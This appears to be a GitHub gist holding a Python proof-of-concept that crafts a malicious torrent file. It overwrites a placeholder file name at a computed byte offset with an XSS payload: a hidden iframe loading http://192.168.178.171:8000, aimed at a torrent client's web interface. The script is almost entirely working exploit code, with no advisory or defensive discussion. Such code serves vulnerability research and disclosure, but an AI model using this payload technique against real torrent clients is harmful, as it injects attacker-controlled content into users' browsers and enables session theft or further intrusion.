Skip to content

Instantly share code, notes, and snippets.

@jasperla
Created March 1, 2021 10:34
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save jasperla/4e6e06034e1cc4131f62839b46b697ef to your computer and use it in GitHub Desktop.
Save jasperla/4e6e06034e1cc4131f62839b46b697ef to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
#
# Copyright (c) 2021 Jasper Lievisse Adriaanse <j@jasper.la>
#
# Permission to use, copy, modify, and distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
#
# PoC for creating torrent files which leverage XSS vulnerabilities in the
# web interface of a torrent client.
import math
import os
import shutil
import sys
from torf import Torrent
def main():
payload = {
'xss': br'''movie.mp4<iframe src="http://192.168.178.171:8000" style="position: absolute;width:0;height:0;border:0;"></iframe>''',
'trackers': ['https://tracker1.example.org:1234/announce', 'https://tracker2.example.org:1234/announce'],
'comment': 'Lorum ipsum.',
'filename': 'xss_poc.torrent',
}
fake_path = 'A' * len(payload['xss'])
# Create the fake file to ensure the final torrent file has the placeholder string of the correct length.
try:
with open(fake_path, 'w') as fh:
fh.write(payload['comment'])
fh.close()
except Exception as e:
print(f'Failed to create fake file: {e}')
sys.exit(1)
t = Torrent(path=fake_path, trackers=payload['trackers'], comment=payload['comment'])
t.private = True
t.generate()
try:
if os.path.exists(payload['filename']):
os.remove(payload['filename'])
t.write(payload['filename'])
os.remove(fake_path)
except Exception as e:
print(f'Failed to remove {payload["filename"]}: {e}')
sys.exit(1)
# The offset is determined by the length of the number representing the length.
# I.e., if the length is '101' bytes we need to account for '3' bytes.
# Due to coercion we cannot use int(str(len(...))) because '101' will be
# interpreted as '101' again.
offset = 244 + int(math.log10(len(payload['xss']))+1)
# Re-open the torrent file and insert the XSS payload
try:
print(f'[+] Injecting XSS payload at offset {offset}')
with open(payload['filename'], 'rb+') as fh:
fh.seek(offset)
fh.write(bytearray(payload['xss']))
except Exception as e:
print(f'Failed to inject payload: {e}')
sys.exit(1)
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment